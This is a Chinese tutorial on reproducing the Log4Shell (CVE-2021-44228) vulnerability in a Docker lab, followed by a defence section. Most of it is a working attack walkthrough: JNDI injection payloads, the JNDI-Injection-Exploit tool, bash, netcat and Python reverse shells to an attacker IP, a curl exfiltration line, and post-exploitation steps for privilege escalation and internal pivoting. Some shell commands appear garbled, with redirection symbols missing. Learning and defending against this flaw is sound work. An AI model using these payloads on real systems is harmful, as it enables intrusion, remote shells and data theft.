手把手复现Log4j2远程代码执行漏洞:从原理到实战 📅 2026/7/13 11:25:44 1. 项目概述与核心价值最近几年安全圈里能让全球开发者、运维和安全人员集体加班的“大事件”不多Log4j2的远程代码执行漏洞CVE-2021-44228俗称Log4Shell绝对算一个。这个漏洞的恐怖之处在于它潜伏在一个几乎无处不在的Java日志组件里攻击门槛极低影响范围却大到没边。很多朋友可能听说过它的“威名”但总觉得复现过程很神秘涉及JNDI、LDAP这些术语让人望而却步。今天我就以一个老安全测试人员的视角带大家从零开始手把手、保姆级地复现这个史诗级漏洞。我们的目标很明确不扯虚的只讲干的。我会把每一步操作、每一个命令、每一个可能踩的坑都掰开揉碎了讲清楚确保哪怕你之前没碰过漏洞复现也能跟着这篇图文教程“闭眼冲”成功看到漏洞触发的效果。理解漏洞的原理和复现过程不仅能加深我们对软件供应链安全的认识更是提升自身防御能力的第一步。毕竟最好的防御就是知道攻击是怎么发生的。2. 环境搭建打造专属的漏洞实验场复现漏洞第一步就是搭建一个安全、隔离的实验环境。我们绝对不能在公网或者生产环境上瞎搞最好的选择就是使用Docker容器。它轻量、快速而且能完美还原漏洞存在的原始状态实验完了直接删除不留任何后患。2.1 靶场环境部署我们将使用一个非常优秀的开源漏洞靶场项目——Vulfocus。它集成了大量常见漏洞的Docker镜像一键拉取启动特别适合学习和研究。步骤一安装Docker如果你的系统还没有Docker需要先安装。以Ubuntu 20.04为例# 更新软件包索引 sudo apt-get update # 安装依赖包允许apt通过HTTPS使用仓库 sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - # 设置稳定版仓库 sudo add-apt-repository deb [archamd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable # 再次更新并安装Docker CE sudo apt-get update sudo apt-get install -y docker-ce # 验证安装运行hello-world镜像 sudo docker run hello-world如果看到欢迎信息说明Docker安装成功。为了避免每次命令都加sudo可以将当前用户加入docker组sudo usermod -aG docker $USER然后退出终端重新登录生效。步骤二部署Vulfocus靶场Vulfocus本身也是一个Docker镜像我们把它运行起来。# 拉取最新的Vulfocus镜像 sudo docker pull vulfocus/vulfocus:latest # 运行Vulfocus容器 # -d 代表后台运行 # -p 81:80 将容器的80端口映射到宿主机的81端口这样我们通过 http://你的IP:81 就能访问 # -v 挂载Docker套接字这是Vulfocus管理其他漏洞容器的关键 # -e VUL_IP192.168.1.100 设置你的宿主机IP地址非常重要后面漏洞利用时要用到。 # 请将 192.168.1.100 替换为你运行Docker的机器的实际IP地址如果是本地实验可以是127.0.0.1 sudo docker run -d -p 81:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP192.168.1.100 vulfocus/vulfocus运行成功后打开浏览器访问http://你的IP:81。你会看到Vulfocus的登录界面默认账号密码是admin/admin。注意VUL_IP这个环境变量至关重要。它告诉Vulfocus它管理的漏洞容器对外暴露的地址是什么。如果你在本地虚拟机里做实验就填虚拟机的IP如果你用云服务器就填服务器的公网IP。填错了会导致后续漏洞利用时网络不通。步骤三启动Log4j2漏洞镜像登录Vulfocus后在首页的漏洞列表里找到CVE-2021-44228 Apache Log4j2 远程代码执行点击“启动”按钮。Vulfocus会自动从仓库拉取漏洞镜像并运行。启动成功后你会看到一个访问地址格式类似http://192.168.1.100:32768。这个就是存在Log4j2漏洞的靶机应用了点击即可访问。2.2 攻击机环境准备我们需要准备另一台机器作为攻击机用来启动恶意JNDI服务并接收反弹的shell。为了方便我强烈建议你直接在宿主机上操作也就是运行Vulfocus的那台机器。这样网络最通畅避开了容器间、跨主机等复杂的网络配置问题。我们的实验拓扑就变成了宿主机既是攻击机又通过Docker运行着靶场和漏洞应用它们都在同一个宿主机网络内。攻击机上需要准备两个关键工具JNDI注入利用工具用于启动一个恶意的LDAP/RMI服务当靶机连接过来时会指向我们准备好的恶意Java类。Netcat (nc)一个网络工具中的“瑞士军刀”这里我们用它来监听一个端口等待靶机把shell反弹回来。安装Netcat# Ubuntu/Debian sudo apt-get install -y netcat # CentOS/RHEL sudo yum install -y nc准备JNDI利用工具我们使用GitHub上star数很高的JNDI-Injection-Exploit工具。它功能全面支持多种绕过方式。# 1. 克隆项目代码 git clone https://github.com/welk1n/JNDI-Injection-Exploit.git # 2. 进入项目目录 cd JNDI-Injection-Exploit # 3. 使用Maven编译项目需要提前安装JDK和Maven # 安装OpenJDK 8和Maven sudo apt-get install -y openjdk-8-jdk maven # 4. 编译打包 mvn clean package -DskipTests编译过程可能需要几分钟。完成后在target/目录下会生成一个名为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar的jar包这就是我们等下要用的武器。实操心得编译时务必确认JDK版本为8。高版本JDK如11在编译时可能因为某些API的变化而报错。如果系统有多个JDK版本可以用sudo update-alternatives --config java来切换。3. 漏洞原理深度拆解为什么一行日志就能黑掉服务器在动手之前我们必须搞清楚我们在利用什么。Log4j2漏洞的核心是“日志语句的递归解析”和“JNDI的远程资源加载”这两个机制的危险结合。3.1 日志的“超能力”Lookup功能Log4j2有一个强大的功能叫Lookup允许用户在日志输出中动态插入一些值。语法是${prefix:name}。例如${java:runtime}可以插入Java运行时信息。这本是为了方便开发者但却成了漏洞的入口。3.2 罪恶的“JNDI Lookup”在众多Lookup中有一个叫JNDI Lookup。JNDIJava命名和目录接口是Java中用来访问如LDAP、RMI、DNS等命名和目录服务的统一API。${jndi:ldap://evil.com/obj}这个语句的意思是去连接evil.com的LDAP服务器查找名为obj的对象。3.3 漏洞触发链条最简版用户输入攻击者向一个使用了Log4j2记录日志的Java应用提交了恶意数据比如在HTTP请求的User-Agent头里填入${jndi:ldap://attacker-ip:1389/Exploit}。日志记录应用代码可能是框架或业务代码毫无戒备地将这个User-Agent记录到了日志里调用了logger.info(“User-Agent: ” userAgent)。递归解析Log4j2在输出日志前会对日志消息进行“渲染”。它发现消息里包含${}就会尝试去解析它。解析到jndi:ldap...时它会发起一个JNDI查询。恶意响应攻击者控制的LDAP服务器attacker-ip:1389收到查询。它返回一个“引用”Reference这个引用指向另一个HTTP地址上的一个恶意Java类文件.class。加载与执行受害服务器靶机的Log4j2组件会根据LDAP服务器返回的引用去指定的HTTP地址下载那个恶意.class文件并使用当前应用的ClassLoader加载它。代码执行被加载的类在静态代码块或构造函数中包含了恶意代码例如Runtime.getRuntime().exec(“calc”)于是这段代码就在受害服务器上执行了。3.4 关键限制与绕过漏洞的利用受限于Java版本的安全机制JDK 6u211, 7u201, 8u191, 11.0.1之后默认禁用了从远程LDAP服务加载工厂类com.sun.jndi.ldap.object.trustURLCodebasefalse。这直接堵死了最简单的利用方式。绕过方法利用这些版本中仍然存在的“本地类路径”进行绕过。比如目标服务器上如果存在某些特定版本的Tomcat其org.apache.naming.factory.BeanFactory类可以被利用来调用任意对象的getter/setter方法结合EL表达式处理器依然可以达到代码执行的目的。我们后面使用的工具就内置了这种绕过方式。理解了这个链条你就会明白整个复现过程其实就是我们在模拟扮演那个“攻击者”搭建一个恶意的LDAP服务并提供一个恶意的.class文件然后诱使靶机应用去触发这个链条。4. 漏洞复现实操步步为营拿下Shell环境备好原理吃透现在进入最激动人心的实战环节。请确保你的Vulfocus靶场和Log4j2漏洞容器已经正常运行。4.1 第一步探测漏洞是否存在在发动真实攻击前我们先做一个无害的探测确认目标确实存在漏洞。这里我们使用一个公开的DNSLog服务来接收外联请求这是一种非常安全且常见的探测方式。访问http://www.dnslog.cn或类似平台点击Get SubDomain你会获得一个临时的子域名比如abc123.dnslog.cn。在浏览器中访问你的Log4j2靶机地址例如http://192.168.1.100:32768。通常靶机页面会有一个输入框或触发点。在输入框里或者通过Burp Suite等工具拦截请求修改参数提交以下Payload${jndi:ldap://abc123.dnslog.cn/test}注意如果参数是通过URL传递的需要对Payload进行URL编码变成%24%7Bjndi%3Aldap%3A%2F%2Fabc123.dnslog.cn%2Ftest%7D。提交后回到DNSLog页面点击Refresh Record。如果看到一条来自你靶机IP的DNS查询记录恭喜漏洞确认存在这说明靶机的Log4j2确实解析了我们的JNDI语句并向我们指定的地址发起了LDAP查询。4.2 第二步启动恶意JNDI服务与监听探测成功现在准备真正的攻击载荷。我们的目标是让靶机执行命令并把这个命令的执行结果一个反向Shell发送回我们的攻击机。1. 准备反向Shell命令我们需要一个能在靶机上打开TCP连接回连到我们攻击机的命令。Linux下最常用的是bash反向Shell。bash -i /dev/tcp/攻击机IP/监听端口 01假设我们攻击机IP是192.168.1.100准备在9999端口监听那么命令就是bash -i /dev/tcp/192.168.1.100/9999 01由于这个命令中包含特殊字符直接放在JNDI工具里可能有问题我们将其进行Base64编码echo -n bash -i /dev/tcp/192.168.1.100/9999 01 | base64你会得到一串编码后的字符串例如YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ2. 启动Netcat监听打开一个终端窗口运行以下命令开始监听9999端口等待靶机的连接。nc -lvvp 9999窗口会显示listening on [any] 9999 ...并挂起等待。3. 启动JNDI利用工具打开另一个终端窗口进入之前编译好的JNDI-Injection-Exploit工具的目录。 运行以下命令启动工具java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ}|{base64,-d}|{bash,-i}” -A “192.168.1.100”参数解释-C指定要执行的命令。这里我们使用了Bash的“管道大法”来解码并执行Base64编码的命令。{echo, BASE64_CODE}输出编码{base64,-d}解码{bash,-i}执行。-A指定攻击机我们本地的IP地址。工具启动后你会看到类似下面的输出[ADDRESS] 192.168.1.100 [COMMAND] bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ}|{base64,-d}|{bash,-i} ----------------------------JNDI Links---------------------------- Target environment(Build in JDK whose trustURLCodebase is false): rmi://192.168.1.100:1099/exp1w2k ldap://192.168.1.100:1389/exp1w2k ...请重点关注并复制ldap://192.168.1.100:1389/exp1w2k这个链接。这个链接就是我们的“武器”它指向了我们刚刚启动的恶意LDAP服务。工具已经为我们自动适配了高版本JDK的绕过方式使用了TomcatBypass等技术。4.3 第三步发送攻击Payload触发漏洞现在万事俱备只欠东风。我们需要让靶机去“请求”我们刚刚生成的这个恶意LDAP链接。回到存在漏洞的靶机Web页面。我们再次向那个可以触发日志记录的参数可能是搜索框、登录框、HTTP头等提交数据。这次提交的Payload就是我们复制的LDAP链接${jndi:ldap://192.168.1.100:1389/exp1w2k}同样如果通过URL传递记得进行URL编码。点击提交或发送请求的瞬间请立刻将目光移回你的两个终端窗口。4. 观察结果JNDI工具窗口你会看到刷新的日志显示有来自靶机的LDAP连接请求随后工具会启动一个临时的HTTP服务提供恶意class文件并记录文件被请求下载。Netcat监听窗口如果一切顺利几秒后这个窗口会突然“活”过来显示连接建立并出现一个新的命令行提示符可能是bash-4.2$或者sh-4.2$。这就是靶机的Shell尝试输入几个命令验证一下whoami id pwd ls -la如果都能正常返回结果那么恭喜你你已经成功通过Log4j2漏洞在目标系统上实现了远程代码执行并获取了一个反向Shell5. 深度利用与问题排查实录成功弹回Shell只是第一步。在实际的安全测试或研究中我们可能会遇到各种问题也需要知道如何进一步利用。5.1 常见失败场景与排查技巧复现过程很少一帆风顺下面是我总结的几个常见“翻车点”及解决办法问题1DNSLog有回显但JNDI工具没收到LDAP连接NC也没收到Shell。可能原因A网络不通。这是最常见的问题。靶机容器无法访问到你攻击机的IP和端口。排查在攻击机上ping 靶机IP在靶机容器内ping 攻击机IP需进入容器docker exec -it 容器ID /bin/bash。确保双向能通。解决检查防火墙。关闭宿主机防火墙sudo ufw disable或sudo systemctl stop firewalld。如果使用云服务器务必在安全组/防火墙规则中放行你使用的端口如1389, 9999。可能原因BPayload构造或提交方式错误。排查确认你提交的Payload是${jndi:ldap://攻击机IP:1389/工具生成的路径}IP和端口必须正确。确认参数名正确并且请求能成功触发返回HTTP 200。解决使用Burp Suite拦截请求手动修改并重放确保Payload被原样发送。查看靶机应用的后台日志如果有权限看是否打印了相关错误。问题2JNDI工具收到LDAP连接也收到了HTTP请求下载class但NC没收到Shell。可能原因A反弹Shell命令不兼容。靶机环境可能没有bash或者/dev/tcp这个特性被禁用如使用dash。解决尝试使用其他反向Shell命令。使用ncnc 攻击机IP 9999 -e /bin/sh(需要靶机有netcat且支持-e参数)使用pythonpython -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机IP“,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’将新命令Base64编码后替换JNDI工具-C参数中的内容。可能原因B靶机出网限制。靶机可能无法对外发起TCP连接到你的9999端口。排查在靶机上用telnet 攻击机IP 9999测试连通性。解决尝试让Shell走DNS或ICMP等可能不被限制的协议更复杂或者换个思路执行一个不需要反弹的指令如curl http://攻击机IP:8000/$(whoami)然后在攻击机用python3 -m http.server 8000开个HTTP服务看请求。问题3工具报错 “Address already in use”原因端口被占用。JNDI工具默认使用1099RMI和1389LDAP端口。解决找出占用端口的进程并结束或者为工具指定其他端口。查找占用端口的PIDsudo lsof -i:1389结束进程sudo kill -9 PID或者使用工具的其他启动参数指定端口需查看工具帮助文档。5.2 进阶利用思路拿到一个低权限的Shell后安全测试人员通常会进行下一步操作信息收集# 查看当前用户、权限 whoami id # 查看系统信息 uname -a cat /etc/os-release # 查看网络信息 ifconfig 或 ip a netstat -antp # 查看进程信息 ps aux # 查找敏感文件、配置文件 find / -name “*.properties” -o -name “*.yml” -o -name “*.yaml” 2/dev/null | head -20权限提升尝试查看是否有sudo权限sudo -l查找SUID/GUID文件find / -perm -us -type f 2/dev/null查找可写目录find / -writable -type d 2/dev/null 2/dev/null | head -20利用已知的本地提权漏洞需要上传exp并编译。内网渗透利用当前机器作为跳板扫描和攻击内网其他主机。上传代理工具如frpsocks5代理客户端建立通道。重要声明与伦理提醒以上所有技术操作仅限在您拥有完全所有权和控制权的实验环境如本地虚拟机、VPS上的Docker容器中进行。未经授权对任何他人的系统进行扫描、渗透或攻击是非法的犯罪行为必将受到法律严惩。安全技术的价值在于防御请务必用于合法、合规的学习和研究目的。6. 防御措施与修复方案复现漏洞是为了更好地理解它而理解它的最终目的是为了防御。作为开发、运维或安全人员我们必须知道如何应对。1. 紧急缓解措施立即可做升级Log4j2这是最根本的解决方案。将Apache Log4j2升级到安全版本 2.17.1 (Java 8) 2.18.1 (Java 11) 2.19.1 (Java 17) 或最新版。修改JVM参数如果无法立即升级可以添加以下JVM启动参数来禁用JNDI Lookup和消息查找但这可能影响某些功能。-Dlog4j2.formatMsgNoLookupstrue对于Log4j 2.10及以上版本移除漏洞类从classpath中移除log4j-core-*.jar中的JndiLookup类。zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class2. 长期安全加固供应链安全扫描在CI/CD流程中引入软件成分分析SCA工具如OWASP Dependency-Check、Trivy等自动扫描项目依赖中的已知漏洞。最小权限原则运行Java应用的服务账号应遵循最小权限原则避免使用root权限。网络层防护在WAFWeb应用防火墙上部署针对Log4j漏洞的防护规则。在网络边界限制服务器不必要的出网连接尤其是LDAP、RMI、DNS等协议可以阻断大部分漏洞利用。升级JDK将生产环境JDK升级到较新的长期支持版本如8u191、11.0.1之后并确保com.sun.jndi.ldap.object.trustURLCodebase设置为false。安全编码意识避免将不可信的用户输入直接记录到日志中。对日志内容进行适当的过滤或编码。整个复现过程走下来你会发现Log4j2漏洞的利用链清晰工具化程度高这正是它危害巨大的原因。对于防守方而言真正的挑战往往不是修复这一个漏洞而是如何在海量的资产中快速发现所有受影响的应用并协调完成升级。这背后体现的是企业安全运维的体系化能力和应急响应速度。通过亲手复现我们不仅学到了一个漏洞的利用方法更深刻地理解了安全左移、纵深防御和应急响应预案的重要性。安全是一个持续的过程永远不能抱有侥幸心理。